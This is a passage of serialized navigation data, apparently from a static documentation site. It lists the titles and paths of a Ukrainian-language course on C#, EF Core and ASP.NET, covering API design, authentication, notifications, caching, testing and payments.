2)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part2","01.csharp\u002F10.ef-core\u002F20.change-tracking-part2",{"title":595,"path":596,"stem":597},"Збереження Даних та Транзакції (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part1","01.csharp\u002F10.ef-core\u002F21.saving-data-part1",{"title":599,"path":600,"stem":601},"Збереження Даних — Concurrency та Outbox (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part2","01.csharp\u002F10.ef-core\u002F21.saving-data-part2",{"title":603,"path":604,"stem":605},"Конкурентність та Блокування (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part1","01.csharp\u002F10.ef-core\u002F22.concurrency-part1",{"title":607,"path":608,"stem":609},"Конкурентність — Дедлоки та Queue Processing (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part2","01.csharp\u002F10.ef-core\u002F22.concurrency-part2",{"title":611,"path":612,"stem":613},"Міграції в EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part1","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part1",{"title":615,"path":616,"stem":617},"Міграції в EF Core — Основи (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part2","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part2",{"title":619,"path":620,"stem":621},"Міграції — Просунуті Сценарії (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part1","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part1",{"title":623,"path":624,"stem":625},"Міграції — Просунуті Сценарії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part2","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part2",{"title":627,"path":628,"stem":629},"Управління Схемою та Database-First (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part1","01.csharp\u002F10.ef-core\u002F25.schema-management-part1",{"title":631,"path":632,"stem":633},"Управління Схемою та Database-First (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part2","01.csharp\u002F10.ef-core\u002F25.schema-management-part2",{"title":635,"path":636,"stem":637},"Продуктивність EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fperformance-fundamentals-part1","01.csharp\u002F10.ef-core\u002F26.performance-fundamentals-part1",{"title":639,"path":640,"stem":641},"Interceptors в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part1","01.csharp\u002F10.ef-core\u002F29.interceptors-part1",{"title":643,"path":644,"stem":645},"Interceptors в EF Core — Connection, Transaction та Materialization (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part2","01.csharp\u002F10.ef-core\u002F29.interceptors-part2",{"title":647,"path":648,"stem":649},"План вивчення Entity Framework Core — Повний курс","\u002Fcsharp\u002Fef-core\u002Fimplementation_plan","01.csharp\u002F10.ef-core\u002Fimplementation_plan",{"title":651,"icon":652,"path":653,"stem":654,"children":655,"page":59},"ASP.NET","i-devicon-dotnetcore","\u002Fcsharp\u002Faspnet","01.csharp\u002F11.aspnet",[656,730,791,869,927,941,967,1057,1111,1182,1212,1289,1346],{"title":657,"icon":658,"path":659,"stem":660,"children":661,"page":59},"Minimal API","i-lucide-network","\u002Fcsharp\u002Faspnet\u002Fminimal-api","01.csharp\u002F11.aspnet\u002F01.minimal-api",[662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726],{"title":663,"path":664,"stem":665},"Вступ до ASP.NET та еволюція фреймворку","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fintroduction","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F01.introduction",{"title":667,"path":668,"stem":669},"Перший додаток на ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Ffirst-application","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F02.first-application",{"title":671,"path":672,"stem":673},"WebApplication, Builder та Dependency Injection","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fwebapplication-builder","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F03.webapplication-builder",{"title":675,"path":676,"stem":677},"Конвеєр запитів та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frequest-pipeline-middleware","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F04.request-pipeline-middleware",{"title":679,"path":680,"stem":681},"Маршрутизація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F05.routing-basics",{"title":683,"path":684,"stem":685},"Маршрутизація в ASP.NET Core: Розширені можливості","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F06.routing-advanced",{"title":687,"path":688,"stem":689},"Статичні файли в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-files","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F07.static-files",{"title":691,"path":692,"stem":693},"Статичні Активи: MapStaticAssets (ASP.NET Core 9.0)","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-assets","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F08.static-assets",{"title":695,"path":696,"stem":697},"Конфігурація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-fundamentals","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F09.configuration-fundamentals",{"title":699,"path":700,"stem":701},"Конфігурація: Паттерн Options","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-options","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F10.configuration-options",{"title":703,"path":704,"stem":705},"Логування в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F11.logging-basics",{"title":707,"path":708,"stem":709},"Логування: Serilog та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F12.logging-advanced",{"title":711,"path":712,"stem":713},"Управління станом: HttpContext.Items та Cookies","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstate-management","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F13.state-management",{"title":715,"path":716,"stem":717},"Стан сесії: Sessions","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fsession-state","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F14.session-state",{"title":719,"path":720,"stem":721},"Структура проєкту: від хаосу до архітектури","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fproject-structure","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F15.project-structure",{"title":723,"path":724,"stem":725},"Scalar у Minimal API: повний проєкт і Fluent OpenAPI","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fscalar-openapi-fluent","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F16.scalar-openapi-fluent",{"title":727,"path":728,"stem":729},"Swagger \u002F Swashbuckle у Minimal API: окремий класичний шлях","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fswagger-swashbuckle","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F17.swagger-swashbuckle",{"title":731,"icon":658,"path":732,"stem":733,"children":734,"page":59},"API","\u002Fcsharp\u002Faspnet\u002Fapi","01.csharp\u002F11.aspnet\u002F02.api",[735,739,743,747,751,755,759,763,767,771,775,779,783,787],{"title":736,"path":737,"stem":738},"Що таке API. Клієнт-серверна архітектура","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fwhat-is-api","01.csharp\u002F11.aspnet\u002F02.api\u002F01.what-is-api",{"title":740,"path":741,"stem":742},"Формати даних: JSON, XML, TOML та бінарні формати","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fdata-formats","01.csharp\u002F11.aspnet\u002F02.api\u002F02.data-formats",{"title":744,"path":745,"stem":746},"Парадигми API та концепція REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-paradigms-rest","01.csharp\u002F11.aspnet\u002F02.api\u002F03.api-paradigms-rest",{"title":748,"path":749,"stem":750},"HTTP-методи, статус-коди та заголовки","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fhttp-methods-status-codes","01.csharp\u002F11.aspnet\u002F02.api\u002F04.http-methods-status-codes",{"title":752,"path":753,"stem":754},"Організація HTTP API за принципами REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Frest-organizing","01.csharp\u002F11.aspnet\u002F02.api\u002F05.rest-organizing",{"title":756,"path":757,"stem":758},"Номенклатура URL та CRUD-операції","\u002Fcsharp\u002Faspnet\u002Fapi\u002Furl-nomenclature-crud","01.csharp\u002F11.aspnet\u002F02.api\u002F06.url-nomenclature-crud",{"title":760,"path":761,"stem":762},"Правила дизайну: іменування та стандарти","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-naming","01.csharp\u002F11.aspnet\u002F02.api\u002F07.api-design-naming",{"title":764,"path":765,"stem":766},"Валідація, ліміти та обробка помилок","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-validation","01.csharp\u002F11.aspnet\u002F02.api\u002F08.api-design-validation",{"title":768,"path":769,"stem":770},"Обробка помилок у Minimal API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Ferror-handling-http","01.csharp\u002F11.aspnet\u002F02.api\u002F09.error-handling-http",{"title":772,"path":773,"stem":774},"Ідемпотентність та синхронізація стану","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fidempotency-sync","01.csharp\u002F11.aspnet\u002F02.api\u002F10.idempotency-sync",{"title":776,"path":777,"stem":778},"Пагінація та організація списків","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fpagination-lists","01.csharp\u002F11.aspnet\u002F02.api\u002F11.pagination-lists",{"title":780,"path":781,"stem":782},"Безпека API, кешування та інтернаціоналізація","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fsecurity-auth","01.csharp\u002F11.aspnet\u002F02.api\u002F12.security-auth",{"title":784,"path":785,"stem":786},"Процес проєктування API та документування","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-process","01.csharp\u002F11.aspnet\u002F02.api\u002F13.api-design-process",{"title":788,"path":789,"stem":790},"OpenAPI: контракт, специфікація та документація API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fopenapi","01.csharp\u002F11.aspnet\u002F02.api\u002F14.openapi",{"title":792,"icon":793,"path":794,"stem":795,"children":796,"page":59},"Auth","i-lucide-shield-check","\u002Fcsharp\u002Faspnet\u002Fauth","01.csharp\u002F11.aspnet\u002F03.auth",[797,801,805,809,813,817,821,825,829,833,837,841,845,849,853,857,861,865],{"title":798,"path":799,"stem":800},"Основи аутентифікації та авторизації","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauth-fundamentals","01.csharp\u002F11.aspnet\u002F03.auth\u002F01.auth-fundamentals",{"title":802,"path":803,"stem":804},"JWT-аутентифікація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fjwt-authentication","01.csharp\u002F11.aspnet\u002F03.auth\u002F02.jwt-authentication",{"title":806,"path":807,"stem":808},"Авторизація: ролі, політики та resource-based доступ","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauthorization-policies","01.csharp\u002F11.aspnet\u002F03.auth\u002F03.authorization-policies",{"title":810,"path":811,"stem":812},"Cookie-аутентифікація та ASP.NET Core Identity","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcookie-auth-identity","01.csharp\u002F11.aspnet\u002F03.auth\u002F04.cookie-auth-identity",{"title":814,"path":815,"stem":816},"JWT + Refresh Tokens (HttpOnly Cookie)","\u002Fcsharp\u002Faspnet\u002Fauth\u002F04b.identity-auth-jwt","01.csharp\u002F11.aspnet\u002F03.auth\u002F04b.identity-auth-jwt",{"title":818,"path":819,"stem":820},"Identity: Підтвердження Email та Скидання Пароля","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-email-confirmation","01.csharp\u002F11.aspnet\u002F03.auth\u002F05.identity-email-confirmation",{"title":822,"path":823,"stem":824},"Identity: Двофакторна Аутентифікація (2FA)","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-two-factor","01.csharp\u002F11.aspnet\u002F03.auth\u002F06.identity-two-factor",{"title":826,"path":827,"stem":828},"Identity: Внутрішня Архітектура та Кастомізація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-internals","01.csharp\u002F11.aspnet\u002F03.auth\u002F07.identity-internals",{"title":830,"path":831,"stem":832},"OAuth 2.0 та зовнішні провайдери","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-external-providers","01.csharp\u002F11.aspnet\u002F03.auth\u002F08.oauth-external-providers",{"title":834,"path":835,"stem":836},"Безпека на практиці: CORS, HTTPS та захист від атак","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fsecurity-hardening","01.csharp\u002F11.aspnet\u002F03.auth\u002F09.security-hardening",{"title":838,"path":839,"stem":840},"Теорія OAuth 2.0: Поняття, Аналогії та Флоу","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-theory","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oauth-theory",{"title":842,"path":843,"stem":844},"OIDC, OAuth 2.0 та Keycloak в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foidc-keycloak","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oidc-keycloak",{"title":846,"path":847,"stem":848},"API Keys аутентифікація в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fapi-keys","01.csharp\u002F11.aspnet\u002F03.auth\u002F11.api-keys",{"title":850,"path":851,"stem":852},"Rate Limiting та Throttling в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frate-limiting","01.csharp\u002F11.aspnet\u002F03.auth\u002F12.rate-limiting",{"title":854,"path":855,"stem":856},"Refresh Token Rotation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frefresh-token-rotation","01.csharp\u002F11.aspnet\u002F03.auth\u002F13.refresh-token-rotation",{"title":858,"path":859,"stem":860},"Certificate Authentication та mTLS в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcertificate-auth","01.csharp\u002F11.aspnet\u002F03.auth\u002F14.certificate-auth",{"title":862,"path":863,"stem":864},"RBAC, ABAC та ReBAC в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frbac-abac-rebac","01.csharp\u002F11.aspnet\u002F03.auth\u002F15.rbac-abac-rebac",{"title":866,"path":867,"stem":868},"Multi-tenancy та ізоляція даних в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fmulti-tenancy","01.csharp\u002F11.aspnet\u002F03.auth\u002F16.multi-tenancy",{"title":870,"icon":871,"path":872,"stem":873,"children":874,"page":59},"Нотифікації","i-lucide-bell","\u002Fcsharp\u002Faspnet\u002Fnotifications","01.csharp\u002F11.aspnet\u002F04.notifications",[875,879,883,887,891,895,899,903,907,911,915,919,923],{"title":876,"path":877,"stem":878},"In-App нотифікації через базу даних","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fin-app-database-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F01.in-app-database-notifications",{"title":880,"path":881,"stem":882},"Polling: Регулярний запит оновлень","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fpolling","01.csharp\u002F11.aspnet\u002F04.notifications\u002F02.polling",{"title":884,"path":885,"stem":886},"Server-Sent Events: Однострімовий push від сервера","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fserver-sent-events","01.csharp\u002F11.aspnet\u002F04.notifications\u002F03.server-sent-events",{"title":888,"path":889,"stem":890},"WebSockets: Двостороннє з'єднання в реальному часі","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fwebsockets","01.csharp\u002F11.aspnet\u002F04.notifications\u002F04.websockets",{"title":892,"path":893,"stem":894},"SignalR: Абстракція над транспортами реального часу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fsignalr","01.csharp\u002F11.aspnet\u002F04.notifications\u002F05.signalr",{"title":896,"path":897,"stem":898},"Background Services: Фонові задачі в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fbackground-services","01.csharp\u002F11.aspnet\u002F04.notifications\u002F06.background-services",{"title":900,"path":901,"stem":902},"Web Push нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fweb-push","01.csharp\u002F11.aspnet\u002F04.notifications\u002F07.web-push",{"title":904,"path":905,"stem":906},"Email нотифікації","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Femail-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F08.email-notifications",{"title":908,"path":909,"stem":910},"Порівняння підходів: Як вибрати правильну технологію нотифікацій","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fchoosing-the-right-approach","01.csharp\u002F11.aspnet\u002F04.notifications\u002F09.choosing-the-right-approach",{"title":912,"path":913,"stem":914},"Hangfire: Надійне планування фонових задач","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire","01.csharp\u002F11.aspnet\u002F04.notifications\u002F10.hangfire",{"title":916,"path":917,"stem":918},"Практика: Конвертація зображень у WebP через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-image-webp","01.csharp\u002F11.aspnet\u002F04.notifications\u002F11.hangfire-image-webp",{"title":920,"path":921,"stem":922},"Практика: Підготовка відео до HLS-стрімінгу через Hangfire","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fhangfire-video-hls","01.csharp\u002F11.aspnet\u002F04.notifications\u002F12.hangfire-video-hls",{"title":924,"path":925,"stem":926},"Telegram-нотифікації: від одного повідомлення до масових розсилок і мульти-канального підходу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Ftelegram-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F13.telegram-notifications",{"title":928,"icon":929,"path":930,"stem":931,"children":932,"page":59},"Інтернаціоналізація","i-lucide-languages","\u002Fcsharp\u002Faspnet\u002Fi18n","01.csharp\u002F11.aspnet\u002F05.i18n",[933,937],{"title":934,"path":935,"stem":936},"Інтернаціоналізація (i18n) у Minimal API: від A до Я","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Finternationalization","01.csharp\u002F11.aspnet\u002F05.i18n\u002F01.internationalization",{"title":938,"path":939,"stem":940},"Humanizer: людиномовні рядки у .NET","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Fhumanizer","01.csharp\u002F11.aspnet\u002F05.i18n\u002F02.humanizer",{"title":942,"icon":943,"path":944,"stem":945,"children":946,"page":59},"Кешування","i-lucide-layers","\u002Fcsharp\u002Faspnet\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching",[947,951,955,959,963],{"title":948,"path":949,"stem":950},"Огляд кешування: чотири рівні і коли що обирати","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching\u002F01.caching",{"title":952,"path":953,"stem":954},"IMemoryCache: кеш в оперативній пам'яті","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fmemory-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F02.memory-cache",{"title":956,"path":957,"stem":958},"IDistributedCache і Redis: розподілений кеш","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fdistributed-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F03.distributed-cache",{"title":960,"path":961,"stem":962},"Response Cache: HTTP-кешування через Cache-Control","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fresponse-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F04.response-cache",{"title":964,"path":965,"stem":966},"Output Cache: серверний кеш HTTP-відповідей (.NET 7+)","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Foutput-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F05.output-cache",{"title":968,"icon":969,"path":970,"stem":971,"children":972,"page":59},"Тестування","i-lucide-test-tube","\u002Fcsharp\u002Faspnet\u002Ftesting","01.csharp\u002F11.aspnet\u002F07.testing",[973,977,981,985,989,993,997,1001,1005,1009,1013,1017,1021,1025,1029,1033,1037,1041,1045,1049,1053],{"title":974,"path":975,"stem":976},"Що таке тестування? Від інтуїції до науки","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-is-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F01.what-is-testing",{"title":978,"path":979,"stem":980},"Піраміда тестування — Стратегія, а не Догма","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-pyramid","01.csharp\u002F11.aspnet\u002F07.testing\u002F02.testing-pyramid",{"title":982,"path":983,"stem":984},"Дві Школи Тестування — Лондон проти Детройту","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-schools","01.csharp\u002F11.aspnet\u002F07.testing\u002F03.testing-schools",{"title":986,"path":987,"stem":988},"TDD та BDD — Тести як Дизайн-інструмент","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftdd-and-bdd","01.csharp\u002F11.aspnet\u002F07.testing\u002F04.tdd-and-bdd",{"title":990,"path":991,"stem":992},"Що саме тестувати — Техніки аналізу та Циклomatична складність","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-to-test","01.csharp\u002F11.aspnet\u002F07.testing\u002F05.what-to-test",{"title":994,"path":995,"stem":996},"Тестові Фреймворки — Навіщо вони і що всередині","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftest-frameworks","01.csharp\u002F11.aspnet\u002F07.testing\u002F06.test-frameworks",{"title":998,"path":999,"stem":1000},"xUnit — Факти, Теорії та Lifecycle тестів","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-basics","01.csharp\u002F11.aspnet\u002F07.testing\u002F07.xunit-basics",{"title":1002,"path":1003,"stem":1004},"xUnit Advanced — Fixtures, Кастомізація та Розширення","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F08.xunit-advanced",{"title":1006,"path":1007,"stem":1008},"Moq — Глибоке занурення в мокування","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fmocking-with-moq","01.csharp\u002F11.aspnet\u002F07.testing\u002F09.mocking-with-moq",{"title":1010,"path":1011,"stem":1012},"Тестування Баз Даних — EF Core, SQLite та Testcontainers","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fdatabase-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F10.database-testing",{"title":1014,"path":1015,"stem":1016},"Integration Testing — Частина 1 [Теорія та WebApplicationFactory]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F11.integration-testing",{"title":1018,"path":1019,"stem":1020},"Інтеграційне тестування — Практика","\u002Fcsharp\u002Faspnet\u002Ftesting\u002F11a.integration-testing-practice","01.csharp\u002F11.aspnet\u002F07.testing\u002F11a.integration-testing-practice",{"title":1022,"path":1023,"stem":1024},"Integration Testing — Частина 2 [Просунуті Сценарії та Testcontainers]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F12.integration-testing-advanced",{"title":1026,"path":1027,"stem":1028},"Професійний Postman: Колекції, Змінні та GitHub Інтеграція","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fpostman-professional","01.csharp\u002F11.aspnet\u002F07.testing\u002F13.postman-professional",{"title":1030,"path":1031,"stem":1032},"HttpClient у Тестах Частина 1: Архітектура та MockHttpMessageHandler","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fhttpclient-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F14.httpclient-testing",{"title":1034,"path":1035,"stem":1036},"HttpClient у Тестах Частина 2: WireMock.Net та Resilience","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwiremock-net","01.csharp\u002F11.aspnet\u002F07.testing\u002F15.wiremock-net",{"title":1038,"path":1039,"stem":1040},"Патерни та Анти-патерни Тестування: Test Smells","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-patterns","01.csharp\u002F11.aspnet\u002F07.testing\u002F16.testing-patterns",{"title":1042,"path":1043,"stem":1044},"Просунуті інструменти: Time, Snapshots та Властивості","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fadvanced-testing-tools","01.csharp\u002F11.aspnet\u002F07.testing\u002F17.advanced-testing-tools",{"title":1046,"path":1047,"stem":1048},"Тестування Архітектури з NetArchTest","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Farchitecture-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F18.architecture-testing",{"title":1050,"path":1051,"stem":1052},"Тестування Продуктивності: BenchmarkDotNet, NBomber та k6","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fperformance-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F19.performance-testing",{"title":1054,"path":1055,"stem":1056},"Залишок плану для курсу \"Тестування ASP.NET Minimal API\"","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fremaining_plan","01.csharp\u002F11.aspnet\u002F07.testing\u002Fremaining_plan",{"title":1058,"icon":1059,"path":1060,"stem":1061,"children":1062,"page":59},"Платежі","i-lucide-credit-card","\u002Fcsharp\u002Faspnet\u002Fpayments","01.csharp\u002F11.aspnet\u002F08.payments",[1063,1067,1071,1075,1079,1083,1087,1091,1095,1099,1103,1107],{"title":1064,"path":1065,"stem":1066},"Основи платіжної інфраструктури","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-fundamentals","01.csharp\u002F11.aspnet\u002F08.payments\u002F01.payment-fundamentals",{"title":1068,"path":1069,"stem":1070},"Методи оплати в Україні","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-methods-ukraine","01.csharp\u002F11.aspnet\u002F08.payments\u002F02.payment-methods-ukraine",{"title":1072,"path":1073,"stem":1074},"PCI DSS та безпека платежів","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpci-dss-security","01.csharp\u002F11.aspnet\u002F08.payments\u002F03.pci-dss-security",{"title":1076,"path":1077,"stem":1078},"Архітектура платіжної підсистеми","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-architecture","01.csharp\u002F11.aspnet\u002F08.payments\u002F04.payment-architecture",{"title":1080,"path":1081,"stem":1082},"Інтеграція LiqPay (ПриватБанк)","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fliqpay-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F05.liqpay-integration",{"title":1084,"path":1085,"stem":1086},"Інтеграція Monobank Acquiring API","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fmonobank-acquiring","01.csharp\u002F11.aspnet\u002F08.payments\u002F06.monobank-acquiring",{"title":1088,"path":1089,"stem":1090},"Інтеграція Stripe","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fstripe-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F07.stripe-integration",{"title":1092,"path":1093,"stem":1094},"Webhooks — глибоке занурення","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fwebhooks-deep-dive","01.csharp\u002F11.aspnet\u002F08.payments\u002F08.webhooks-deep-dive",{"title":1096,"path":1097,"stem":1098},"Підписки та рекурентні платежі","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fsubscriptions-recurring","01.csharp\u002F11.aspnet\u002F08.payments\u002F09.subscriptions-recurring",{"title":1100,"path":1101,"stem":1102},"Повернення коштів та диспути","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Frefunds-disputes","01.csharp\u002F11.aspnet\u002F08.payments\u002F10.refunds-disputes",{"title":1104,"path":1105,"stem":1106},"Тестування платіжних інтеграцій","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Ftesting-payments","01.csharp\u002F11.aspnet\u002F08.payments\u002F11.testing-payments",{"title":1108,"path":1109,"stem":1110},"Чекліст виходу в Production","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fproduction-checklist","01.csharp\u002F11.aspnet\u002F08.payments\u002F12.production-checklist",{"title":1112,"icon":1113,"items":1114,"path":1127,"stem":1128,"children":1129,"page":59},"Популярні бібліотеки","lucide:box",[1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126],"01.fluent-validation","02.mapster","03.erroror-result-pattern","04.serilog","05.mediatr","06.polly","07.health-checks","08.feature-management","09.fluent-email","10.quest-pdf","11.bogus","12.humanizer-guard","\u002Fcsharp\u002Faspnet\u002Flibraries","01.csharp\u002F11.aspnet\u002F09.libraries",[1130,1134,1138,1142,1146,1150,1154,1158,1162,1166,1170,1174,1178],{"title":1131,"path":1132,"stem":1133},"Валідація з FluentValidation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-validation","01.csharp\u002F11.aspnet\u002F09.libraries\u002F01.fluent-validation",{"title":1135,"path":1136,"stem":1137},"Маппінг об","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmapster","01.csharp\u002F11.aspnet\u002F09.libraries\u002F02.mapster",{"title":1139,"path":1140,"stem":1141},"Обробка помилок з ErrorOr та Result Pattern в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ferroror-result-pattern","01.csharp\u002F11.aspnet\u002F09.libraries\u002F03.erroror-result-pattern",{"title":1143,"path":1144,"stem":1145},"Структуроване логування з Serilog в ASP.NET 